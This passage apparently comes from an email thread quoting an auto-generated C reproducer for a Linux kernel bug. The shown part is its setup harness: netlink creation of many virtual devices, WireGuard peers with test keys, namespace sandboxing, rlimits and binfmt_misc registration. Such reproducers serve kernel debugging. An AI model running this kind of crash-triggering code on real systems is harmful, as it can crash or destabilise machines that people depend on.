in_addr in_addr; > > inet_pton(AF_INET, addr, &in_addr); > > int err = netlink_add_addr(nlmsg, sock, dev, &in_addr, sizeof(in_addr)); > > if (err < 0) { > > } > > } > > > > static void netlink_add_addr6(struct nlmsg* nlmsg, int sock, const char* dev, > > const char* addr) { > > struct in6_addr in6_addr; > > inet_pton(AF_INET6, addr, &in6_addr); > > int err = netlink_add_addr(nlmsg, sock, dev, &in6_addr, sizeof(in6_addr)); > > if (err < 0) { > > } > > } > > > > static struct nlmsg nlmsg; > > > > #define DEVLINK_FAMILY_NAME "devlink" > > > > #define DEVLINK_CMD_PORT_GET 5 > > #define DEVLINK_ATTR_BUS_NAME 1 > > #define DEVLINK_ATTR_DEV_NAME 2 > > #define DEVLINK_ATTR_NETDEV_NAME 7 > > > > static struct nlmsg nlmsg2; > > > > static void initialize_devlink_ports(const char* bus_name, const char* dev_name, > > const char* netdev_prefix) { > > struct genlmsghdr genlhdr; > > int len, total_len, id, err, offset; > > uint16_t netdev_index; > > int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); > > if (sock == -1) exit(1); > > int rtsock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); > > if (rtsock == -1) exit(1); > > id = netlink_query_family_id(&nlmsg, sock, DEVLINK_FAMILY_NAME, true); > > if (id == -1) goto error; > > memset(&genlhdr, 0, sizeof(genlhdr)); > > genlhdr.cmd = DEVLINK_CMD_PORT_GET; > > netlink_init(&nlmsg, id, NLM_F_DUMP, &genlhdr, sizeof(genlhdr)); > > netlink_attr(&nlmsg, DEVLINK_ATTR_BUS_NAME, bus_name, strlen(bus_name) + 1); > > netlink_attr(&nlmsg, DEVLINK_ATTR_DEV_NAME, dev_name, strlen(dev_name) + 1); > > err = netlink_send_ext(&nlmsg, sock, id, &total_len, true); > > if (err < 0) { > > goto error; > > } > > offset = 0; > > netdev_index = 0; > > while ((len = netlink_next_msg(&nlmsg, offset, total_len)) != -1) { > > struct nlattr* attr = (struct nlattr*)(nlmsg.buf + offset + NLMSG_HDRLEN + > > NLMSG_ALIGN(sizeof(genlhdr))); > > for (; (char*)attr < nlmsg.buf + offset + len; > > attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) { > > if (attr->nla_type == DEVLINK_ATTR_NETDEV_NAME) { > > char* port_name; > > char netdev_name[IFNAMSIZ]; > > port_name = (char*)(attr + 1); > > snprintf(netdev_name, sizeof(netdev_name), "%s%d", netdev_prefix, > > netdev_index); > > netlink_device_change(&nlmsg2, rtsock, port_name, true, 0, 0, 0, > > netdev_name); > > break; > > } > > } > > offset += len; > > netdev_index++; > > } > > error: > > close(rtsock); > > close(sock); > > } > > > > #define DEV_IPV4 "172.20.20.%d" > > #define DEV_IPV6 "fe80::%02x" > > #define DEV_MAC 0x00aaaaaaaaaa > > > > static void netdevsim_add(unsigned int addr, unsigned int port_count) { > > write_file("/sys/bus/netdevsim/del_device", "%u", addr); > > if (write_file("/sys/bus/netdevsim/new_device", "%u %u", addr, port_count)) { > > char buf[32]; > > snprintf(buf, sizeof(buf), "netdevsim%d", addr); > > initialize_devlink_ports("netdevsim", buf, "netdevsim"); > > } > > } > > > > #define WG_GENL_NAME "wireguard" > > enum wg_cmd { > > WG_CMD_GET_DEVICE, > > WG_CMD_SET_DEVICE, > > }; > > enum wgdevice_attribute { > > WGDEVICE_A_UNSPEC, > > WGDEVICE_A_IFINDEX, > > WGDEVICE_A_IFNAME, > > WGDEVICE_A_PRIVATE_KEY, > > WGDEVICE_A_PUBLIC_KEY, > > WGDEVICE_A_FLAGS, > > WGDEVICE_A_LISTEN_PORT, > > WGDEVICE_A_FWMARK, > > WGDEVICE_A_PEERS, > > }; > > enum wgpeer_attribute { > > WGPEER_A_UNSPEC, > > WGPEER_A_PUBLIC_KEY, > > WGPEER_A_PRESHARED_KEY, > > WGPEER_A_FLAGS, > > WGPEER_A_ENDPOINT, > > WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, > > WGPEER_A_LAST_HANDSHAKE_TIME, > > WGPEER_A_RX_BYTES, > > WGPEER_A_TX_BYTES, > > WGPEER_A_ALLOWEDIPS, > > WGPEER_A_PROTOCOL_VERSION, > > }; > > enum wgallowedip_attribute { > > WGALLOWEDIP_A_UNSPEC, > > WGALLOWEDIP_A_FAMILY, > > WGALLOWEDIP_A_IPADDR, > > WGALLOWEDIP_A_CIDR_MASK, > > }; > > > > static void netlink_wireguard_setup(void) { > > const char ifname_a[] = "wg0"; > > const char ifname_b[] = "wg1"; > > const char ifname_c[] = "wg2"; > > const char private_a[] = > > "\xa0\x5c\xa8\x4f\x6c\x9c\x8e\x38\x53\xe2\xfd\x7a\x70\xae\x0f\xb2\x0f\xa1" > > "\x52\x60\x0c\xb0\x08\x45\x17\x4f\x08\x07\x6f\x8d\x78\x43"; > > const char private_b[] = > > "\xb0\x80\x73\xe8\xd4\x4e\x91\xe3\xda\x92\x2c\x22\x43\x82\x44\xbb\x88\x5c" > > "\x69\xe2\x69\xc8\xe9\xd8\x35\xb1\x14\x29\x3a\x4d\xdc\x6e"; > > const char private_c[] = > > "\xa0\xcb\x87\x9a\x47\xf5\xbc\x64\x4c\x0e\x69\x3f\xa6\xd0\x31\xc7\x4a\x15" > > "\x53\xb6\xe9\x01\xb9\xff\x2f\x51\x8c\x78\x04\x2f\xb5\x42"; > > const char public_a[] = > > "\x97\x5c\x9d\x81\xc9\x83\xc8\x20\x9e\xe7\x81\x25\x4b\x89\x9f\x8e\xd9\x25" > > "\xae\x9f\x09\x23\xc2\x3c\x62\xf5\x3c\x57\xcd\xbf\x69\x1c"; > > const char public_b[] = > > "\xd1\x73\x28\x99\xf6\x11\xcd\x89\x94\x03\x4d\x7f\x41\x3d\xc9\x57\x63\x0e" > > "\x54\x93\xc2\x85\xac\xa4\x00\x65\xcb\x63\x11\xbe\x69\x6b"; > > const char public_c[] = > > "\xf4\x4d\xa3\x67\xa8\x8e\xe6\x56\x4f\x02\x02\x11\x45\x67\x27\x08\x2f\x5c" > > "\xeb\xee\x8b\x1b\xf5\xeb\x73\x37\x34\x1b\x45\x9b\x39\x22"; > > const uint16_t listen_a = 20001; > > const uint16_t listen_b = 20002; > > const uint16_t listen_c = 20003; > > const uint16_t af_inet = AF_INET; > > const uint16_t af_inet6 = AF_INET6; > > const struct sockaddr_in endpoint_b_v4 = { > > .sin_family = AF_INET, > > .sin_port = htons(listen_b), > > .sin_addr = {htonl(INADDR_LOOPBACK)}}; > > const struct sockaddr_in endpoint_c_v4 = { > > .sin_family = AF_INET, > > .sin_port = htons(listen_c), > > .sin_addr = {htonl(INADDR_LOOPBACK)}}; > > struct sockaddr_in6 endpoint_a_v6 = {.sin6_family = AF_INET6, > > .sin6_port = htons(listen_a)}; > > endpoint_a_v6.sin6_addr = in6addr_loopback; > > struct sockaddr_in6 endpoint_c_v6 = {.sin6_family = AF_INET6, > > .sin6_port = htons(listen_c)}; > > endpoint_c_v6.sin6_addr = in6addr_loopback; > > const struct in_addr first_half_v4 = {0}; > > const struct in_addr second_half_v4 = {(uint32_t)htonl(128 << 24)}; > > const struct in6_addr first_half_v6 = {{{0}}}; > > const struct in6_addr second_half_v6 = {{{0x80}}}; > > const uint8_t half_cidr = 1; > > const uint16_t persistent_keepalives[] = {1, 3, 7, 9, 14, 19}; > > struct genlmsghdr genlhdr = {.cmd = WG_CMD_SET_DEVICE, .version = 1}; > > int sock; > > int id, err; > > sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); > > if (sock == -1) { > > return; > > } > > id = netlink_query_family_id(&nlmsg, sock, WG_GENL_NAME, true); > > if (id == -1) goto error; > > netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr)); > > netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_a, strlen(ifname_a) + 1); > > netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_a, 32); > > netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_a, 2); > > netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS); > > netlink_nest(&nlmsg, NLA_F_NESTED | 0); > > netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_b, 32); > > netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_b_v4, > > sizeof(endpoint_b_v4)); > > netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, > > &persistent_keepalives[0], 2); > > netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS); > > netlink_nest(&nlmsg, NLA_F_NESTED | 0); > > netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2); > > netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4, > > sizeof(first_half_v4)); > > netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); > > netlink_done(&nlmsg); > > netlink_nest(&nlmsg, NLA_F_NESTED | 0); > > netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2); > > netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6, > > sizeof(first_half_v6)); > > netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); > > netlink_done(&nlmsg); > > netlink_done(&nlmsg); > > netlink_done(&nlmsg); > > netlink_nest(&nlmsg, NLA_F_NESTED | 0); > > netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_c, 32); > > netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_c_v6, > > sizeof(endpoint_c_v6)); > > netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, > > &persistent_keepalives[1], 2); > > netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS); > > netlink_nest(&nlmsg, NLA_F_NESTED | 0); > > netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2); > > netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4, > > sizeof(second_half_v4)); > > netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); > > netlink_done(&nlmsg); > > netlink_nest(&nlmsg, NLA_F_NESTED | 0); > > netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2); > > netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6, > > sizeof(second_half_v6)); > > netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); > > netlink_done(&nlmsg); > > netlink_done(&nlmsg); > > netlink_done(&nlmsg); > > netlink_done(&nlmsg); > > err = netlink_send(&nlmsg, sock); > > if (err < 0) { > > } > > netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr)); > > netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_b, strlen(ifname_b) + 1); > > netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_b, 32); > > netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_b, 2); > > netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS); > > netlink_nest(&nlmsg, NLA_F_NESTED | 0); > > netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_a, 32); > > netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_a_v6, > > sizeof(endpoint_a_v6)); > > netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, > > &persistent_keepalives[2], 2); > > netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS); > > netlink_nest(&nlmsg, NLA_F_NESTED | 0); > > netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2); > > netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4, > > sizeof(first_half_v4)); > > netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); > > netlink_done(&nlmsg); > > netlink_nest(&nlmsg, NLA_F_NESTED | 0); > > netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2); > > netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6, > > sizeof(first_half_v6)); > > netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); > > netlink_done(&nlmsg); > > netlink_done(&nlmsg); > > netlink_done(&nlmsg); > > netlink_nest(&nlmsg, NLA_F_NESTED | 0); > > netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_c, 32); > > netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_c_v4, > > sizeof(endpoint_c_v4)); > > netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, > > &persistent_keepalives[3], 2); > > netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS); > > netlink_nest(&nlmsg, NLA_F_NESTED | 0); > > netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2); > > netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4, > > sizeof(second_half_v4)); > > netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); > > netlink_done(&nlmsg); > > netlink_nest(&nlmsg, NLA_F_NESTED | 0); > > netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2); > > netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6, > > sizeof(second_half_v6)); > > netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); > > netlink_done(&nlmsg); > > netlink_done(&nlmsg); > > netlink_done(&nlmsg); > > netlink_done(&nlmsg); > > err = netlink_send(&nlmsg, sock); > > if (err < 0) { > > } > > netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr)); > > netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_c, strlen(ifname_c) + 1); > > netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_c, 32); > > netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_c, 2); > > netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS); > > netlink_nest(&nlmsg, NLA_F_NESTED | 0); > > netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_a, 32); > > netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_a_v6, > > sizeof(endpoint_a_v6)); > > netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, > > &persistent_keepalives[4], 2); > > netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS); > > netlink_nest(&nlmsg, NLA_F_NESTED | 0); > > netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2); > > netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4, > > sizeof(first_half_v4)); > > netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); > > netlink_done(&nlmsg); > > netlink_nest(&nlmsg, NLA_F_NESTED | 0); > > netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2); > > netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6, > > sizeof(first_half_v6)); > > netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); > > netlink_done(&nlmsg); > > netlink_done(&nlmsg); > > netlink_done(&nlmsg); > > netlink_nest(&nlmsg, NLA_F_NESTED | 0); > > netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_b, 32); > > netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_b_v4, > > sizeof(endpoint_b_v4)); > > netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, > > &persistent_keepalives[5], 2); > > netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS); > > netlink_nest(&nlmsg, NLA_F_NESTED | 0); > > netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2); > > netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4, > > sizeof(second_half_v4)); > > netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); > > netlink_done(&nlmsg); > > netlink_nest(&nlmsg, NLA_F_NESTED | 0); > > netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2); > > netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6, > > sizeof(second_half_v6)); > > netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); > > netlink_done(&nlmsg); > > netlink_done(&nlmsg); > > netlink_done(&nlmsg); > > netlink_done(&nlmsg); > > err = netlink_send(&nlmsg, sock); > > if (err < 0) { > > } > > > > error: > > close(sock); > > } > > > > static void initialize_netdevices(void) { > > char netdevsim[16]; > > sprintf(netdevsim, "netdevsim%d", (int)procid); > > struct { > > const char* type; > > const char* dev; > > } devtypes[] = { > > {"ip6gretap", "ip6gretap0"}, {"bridge", "bridge0"}, {"vcan", "vcan0"}, > > {"bond", "bond0"}, {"team", "team0"}, {"dummy", "dummy0"}, > > {"nlmon", "nlmon0"}, {"caif", "caif0"}, {"batadv", "batadv0"}, > > {"vxcan", "vxcan1"}, {"veth", 0}, {"wireguard", "wg0"}, > > {"wireguard", "wg1"}, {"wireguard", "wg2"}, > > }; > > const char* devmasters[] = {"bridge", "bond", "team", "batadv"}; > > struct { > > const char* name; > > int macsize; > > bool noipv6; > > } devices[] = { > > {"lo", ETH_ALEN}, > > {"sit0", 0}, > > {"bridge0", ETH_ALEN}, > > {"vcan0", 0, true}, > > {"tunl0", 0}, > > {"gre0", 0}, > > {"gretap0", ETH_ALEN}, > > {"ip_vti0", 0}, > > {"ip6_vti0", 0}, > > {"ip6tnl0", 0}, > > {"ip6gre0", 0}, > > {"ip6gretap0", ETH_ALEN}, > > {"erspan0", ETH_ALEN}, > > {"bond0", ETH_ALEN}, > > {"veth0", ETH_ALEN}, > > {"veth1", ETH_ALEN}, > > {"team0", ETH_ALEN}, > > {"veth0_to_bridge", ETH_ALEN}, > > {"veth1_to_bridge", ETH_ALEN}, > > {"veth0_to_bond", ETH_ALEN}, > > {"veth1_to_bond", ETH_ALEN}, > > {"veth0_to_team", ETH_ALEN}, > > {"veth1_to_team", ETH_ALEN}, > > {"veth0_to_hsr", ETH_ALEN}, > > {"veth1_to_hsr", ETH_ALEN}, > > {"hsr0", 0}, > > {"dummy0", ETH_ALEN}, > > {"nlmon0", 0}, > > {"vxcan0", 0, true}, > > {"vxcan1", 0, true}, > > {"caif0", ETH_ALEN}, > > {"batadv0", ETH_ALEN}, > > {netdevsim, ETH_ALEN}, > > {"xfrm0", ETH_ALEN}, > > {"veth0_virt_wifi", ETH_ALEN}, > > {"veth1_virt_wifi", ETH_ALEN}, > > {"virt_wifi0", ETH_ALEN}, > > {"veth0_vlan", ETH_ALEN}, > > {"veth1_vlan", ETH_ALEN}, > > {"vlan0", ETH_ALEN}, > > {"vlan1", ETH_ALEN}, > > {"macvlan0", ETH_ALEN}, > > {"macvlan1", ETH_ALEN}, > > {"ipvlan0", ETH_ALEN}, > > {"ipvlan1", ETH_ALEN}, > > {"veth0_macvtap", ETH_ALEN}, > > {"veth1_macvtap", ETH_ALEN}, > > {"macvtap0", ETH_ALEN}, > > {"macsec0", ETH_ALEN}, > > {"veth0_to_batadv", ETH_ALEN}, > > {"veth1_to_batadv", ETH_ALEN}, > > {"batadv_slave_0", ETH_ALEN}, > > {"batadv_slave_1", ETH_ALEN}, > > {"geneve0", ETH_ALEN}, > > {"geneve1", ETH_ALEN}, > > {"wg0", 0}, > > {"wg1", 0}, > > {"wg2", 0}, > > }; > > int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); > > if (sock == -1) exit(1); > > unsigned i; > > for (i = 0; i < sizeof(devtypes) / sizeof(devtypes[0]); i++) > > netlink_add_device(&nlmsg, sock, devtypes[i].type, devtypes[i].dev); > > for (i = 0; i < sizeof(devmasters) / (sizeof(devmasters[0])); i++) { > > char master[32], slave0[32], veth0[32], slave1[32], veth1[32]; > > sprintf(slave0, "%s_slave_0", devmasters[i]); > > sprintf(veth0, "veth0_to_%s", devmasters[i]); > > netlink_add_veth(&nlmsg, sock, slave0, veth0); > > sprintf(slave1, "%s_slave_1", devmasters[i]); > > sprintf(veth1, "veth1_to_%s", devmasters[i]); > > netlink_add_veth(&nlmsg, sock, slave1, veth1); > > sprintf(master, "%s0", devmasters[i]); > > netlink_device_change(&nlmsg, sock, slave0, false, master, 0, 0, NULL); > > netlink_device_change(&nlmsg, sock, slave1, false, master, 0, 0, NULL); > > } > > netlink_add_xfrm(&nlmsg, sock, "xfrm0"); > > netlink_device_change(&nlmsg, sock, "bridge_slave_0", true, 0, 0, 0, NULL); > > netlink_device_change(&nlmsg, sock, "bridge_slave_1", true, 0, 0, 0, NULL); > > netlink_add_veth(&nlmsg, sock, "hsr_slave_0", "veth0_to_hsr"); > > netlink_add_veth(&nlmsg, sock, "hsr_slave_1", "veth1_to_hsr"); > > netlink_add_hsr(&nlmsg, sock, "hsr0", "hsr_slave_0", "hsr_slave_1"); > > netlink_device_change(&nlmsg, sock, "hsr_slave_0", true, 0, 0, 0, NULL); > > netlink_device_change(&nlmsg, sock, "hsr_slave_1", true, 0, 0, 0, NULL); > > netlink_add_veth(&nlmsg, sock, "veth0_virt_wifi", "veth1_virt_wifi"); > > netlink_add_linked(&nlmsg, sock, "virt_wifi", "virt_wifi0", > > "veth1_virt_wifi"); > > netlink_add_veth(&nlmsg, sock, "veth0_vlan", "veth1_vlan"); > > netlink_add_vlan(&nlmsg, sock, "vlan0", "veth0_vlan", 0, htons(ETH_P_8021Q)); > > netlink_add_vlan(&nlmsg, sock, "vlan1", "veth0_vlan", 1, htons(ETH_P_8021AD)); > > netlink_add_macvlan(&nlmsg, sock, "macvlan0", "veth1_vlan"); > > netlink_add_macvlan(&nlmsg, sock, "macvlan1", "veth1_vlan"); > > netlink_add_ipvlan(&nlmsg, sock, "ipvlan0", "veth0_vlan", IPVLAN_MODE_L2, 0); > > netlink_add_ipvlan(&nlmsg, sock, "ipvlan1", "veth0_vlan", IPVLAN_MODE_L3S, > > IPVLAN_F_VEPA); > > netlink_add_veth(&nlmsg, sock, "veth0_macvtap", "veth1_macvtap"); > > netlink_add_linked(&nlmsg, sock, "macvtap", "macvtap0", "veth0_macvtap"); > > netlink_add_linked(&nlmsg, sock, "macsec", "macsec0", "veth1_macvtap"); > > char addr[32]; > > sprintf(addr, DEV_IPV4, 14 + 10); > > struct in_addr geneve_addr4; > > if (inet_pton(AF_INET, addr, &geneve_addr4) <= 0) exit(1); > > struct in6_addr geneve_addr6; > > if (inet_pton(AF_INET6, "fc00::01", &geneve_addr6) <= 0) exit(1); > > netlink_add_geneve(&nlmsg, sock, "geneve0", 0, &geneve_addr4, 0); > > netlink_add_geneve(&nlmsg, sock, "geneve1", 1, 0, &geneve_addr6); > > netdevsim_add((int)procid, 4); > > netlink_wireguard_setup(); > > for (i = 0; i < sizeof(devices) / (sizeof(devices[0])); i++) { > > char addr[32]; > > sprintf(addr, DEV_IPV4, i + 10); > > netlink_add_addr4(&nlmsg, sock, devices[i].name, addr); > > if (!devices[i].noipv6) { > > sprintf(addr, DEV_IPV6, i + 10); > > netlink_add_addr6(&nlmsg, sock, devices[i].name, addr); > > } > > uint64_t macaddr = DEV_MAC + ((i + 10ull) << 40); > > netlink_device_change(&nlmsg, sock, devices[i].name, true, 0, &macaddr, > > devices[i].macsize, NULL); > > } > > close(sock); > > } > > static void initialize_netdevices_init(void) { > > int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); > > if (sock == -1) exit(1); > > struct { > > const char* type; > > int macsize; > > bool noipv6; > > bool noup; > > } devtypes[] = { > > {"nr", 7, true}, > > {"rose", 5, true, true}, > > }; > > unsigned i; > > for (i = 0; i < sizeof(devtypes) / sizeof(devtypes[0]); i++) { > > char dev[32], addr[32]; > > sprintf(dev, "%s%d", devtypes[i].type, (int)procid); > > sprintf(addr, "172.30.%d.%d", i, (int)procid + 1); > > netlink_add_addr4(&nlmsg, sock, dev, addr); > > if (!devtypes[i].noipv6) { > > sprintf(addr, "fe88::%02x:%02x", i, (int)procid + 1); > > netlink_add_addr6(&nlmsg, sock, dev, addr); > > } > > int macsize = devtypes[i].macsize; > > uint64_t macaddr = 0xbbbbbb + > > ((unsigned long long)i << (8 * (macsize - 2))) + > > (procid << (8 * (macsize - 1))); > > netlink_device_change(&nlmsg, sock, dev, !devtypes[i].noup, 0, &macaddr, > > macsize, NULL); > > } > > close(sock); > > } > > > > #define MAX_FDS 30 > > > > static void setup_common() { > > if (mount(0, "/sys/fs/fuse/connections", "fusectl", 0, 0)) { > > } > > } > > > > static void setup_binderfs() { > > if (mkdir("/dev/binderfs", 0777)) { > > } > > if (mount("binder", "/dev/binderfs", "binder", 0, NULL)) { > > } > > if (symlink("/dev/binderfs", "./binderfs")) { > > } > > } > > > > static void loop(); > > > > static void sandbox_common() { > > prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0); > > setsid(); > > struct rlimit rlim; > > rlim.rlim_cur = rlim.rlim_max = (200 << 20); > > setrlimit(RLIMIT_AS, &rlim); > > rlim.rlim_cur = rlim.rlim_max = 32 << 20; > > setrlimit(RLIMIT_MEMLOCK, &rlim); > > rlim.rlim_cur = rlim.rlim_max = 136 << 20; > > setrlimit(RLIMIT_FSIZE, &rlim); > > rlim.rlim_cur = rlim.rlim_max = 1 << 20; > > setrlimit(RLIMIT_STACK, &rlim); > > rlim.rlim_cur = rlim.rlim_max = 128 << 20; > > setrlimit(RLIMIT_CORE, &rlim); > > rlim.rlim_cur = rlim.rlim_max = 256; > > setrlimit(RLIMIT_NOFILE, &rlim); > > if (unshare(CLONE_NEWNS)) { > > } > > if (mount(NULL, "/", NULL, MS_REC | MS_PRIVATE, NULL)) { > > } > > if (unshare(CLONE_NEWIPC)) { > > } > > if (unshare(0x02000000)) { > > } > > if (unshare(CLONE_NEWUTS)) { > > } > > if (unshare(CLONE_SYSVSEM)) { > > } > > typedef struct { > > const char* name; > > const char* value; > > } sysctl_t; > > static const sysctl_t sysctls[] = { > > {"/proc/sys/kernel/shmmax", "16777216"}, > > {"/proc/sys/kernel/shmall", "536870912"}, > > {"/proc/sys/kernel/shmmni", "1024"}, > > {"/proc/sys/kernel/msgmax", "8192"}, > > {"/proc/sys/kernel/msgmni", "1024"}, > > {"/proc/sys/kernel/msgmnb", "1024"}, > > {"/proc/sys/kernel/sem", "1024 1048576 500 1024"}, > > }; > > unsigned i; > > for (i = 0; i < sizeof(sysctls) / sizeof(sysctls[0]); i++) > > write_file(sysctls[i].name, sysctls[i].value); > > } > > > > static int wait_for_loop(int pid) { > > if (pid < 0) exit(1); > > int status = 0; > > while (waitpid(-1, &status, __WALL) != pid) { > > } > > return WEXITSTATUS(status); > > } > > > > static void drop_caps(void) { > > struct __user_cap_header_struct cap_hdr = {}; > > struct __user_cap_data_struct cap_data[2] = {}; > > cap_hdr.version = _LINUX_CAPABILITY_VERSION_3; > > cap_hdr.pid = getpid(); > > if (syscall(SYS_capget, &cap_hdr, &cap_data)) exit(1); > > const int drop = (1 << CAP_SYS_PTRACE) | (1 << CAP_SYS_NICE); > > cap_data[0].effective &= ~drop; > > cap_data[0].permitted &= ~drop; > > cap_data[0].inheritable &= ~drop; > > if (syscall(SYS_capset, &cap_hdr, &cap_data)) exit(1); > > } > > > > static int do_sandbox_none(void) { > > if (unshare(CLONE_NEWPID)) { > > } > > int pid = fork(); > > if (pid != 0) return wait_for_loop(pid); > > setup_common(); > > sandbox_common(); > > drop_caps(); > > initialize_netdevices_init(); > > if (unshare(CLONE_NEWNET)) { > > } > > write_file("/proc/sys/net/ipv4/ping_group_range", "0 65535"); > > initialize_netdevices(); > > setup_binderfs(); > > loop(); > > exit(1); > > } > > > > static void kill_and_wait(int pid, int* status) { > > kill(-pid, SIGKILL); > > kill(pid, SIGKILL); > > for (int i = 0; i < 100; i++) { > > if (waitpid(-1, status, WNOHANG | __WALL) == pid) return; > > usleep(1000); > > } > > DIR* dir = opendir("/sys/fs/fuse/connections"); > > if (dir) { > > for (;;) { > > struct dirent* ent = readdir(dir); > > if (!ent) break; > > if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0) > > continue; > > char abort[300]; > > snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort", > > ent->d_name); > > int fd = open(abort, O_WRONLY); > > if (fd == -1) { > > continue; > > } > > if (write(fd, abort, 1) < 0) { > > } > > close(fd); > > } > > closedir(dir); > > } else { > > } > > while (waitpid(-1, status, __WALL) != pid) { > > } > > } > > > > static void setup_test() { > > prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0); > > setpgrp(); > > write_file("/proc/self/oom_score_adj", "1000"); > > } > > > > static void close_fds() { > > for (int fd = 3; fd < MAX_FDS; fd++) close(fd); > > } > > > > static void setup_binfmt_misc() { > > if (mount(0, "/proc/sys/fs/binfmt_misc", "binfmt_misc", 0, 0)) { > > } > > write_file("/proc/sys/fs/binfmt_misc/register", ":syz0:M:0:\x01::./file0:"); > > write_file("/proc/sys/fs/binfmt_misc/register", > > 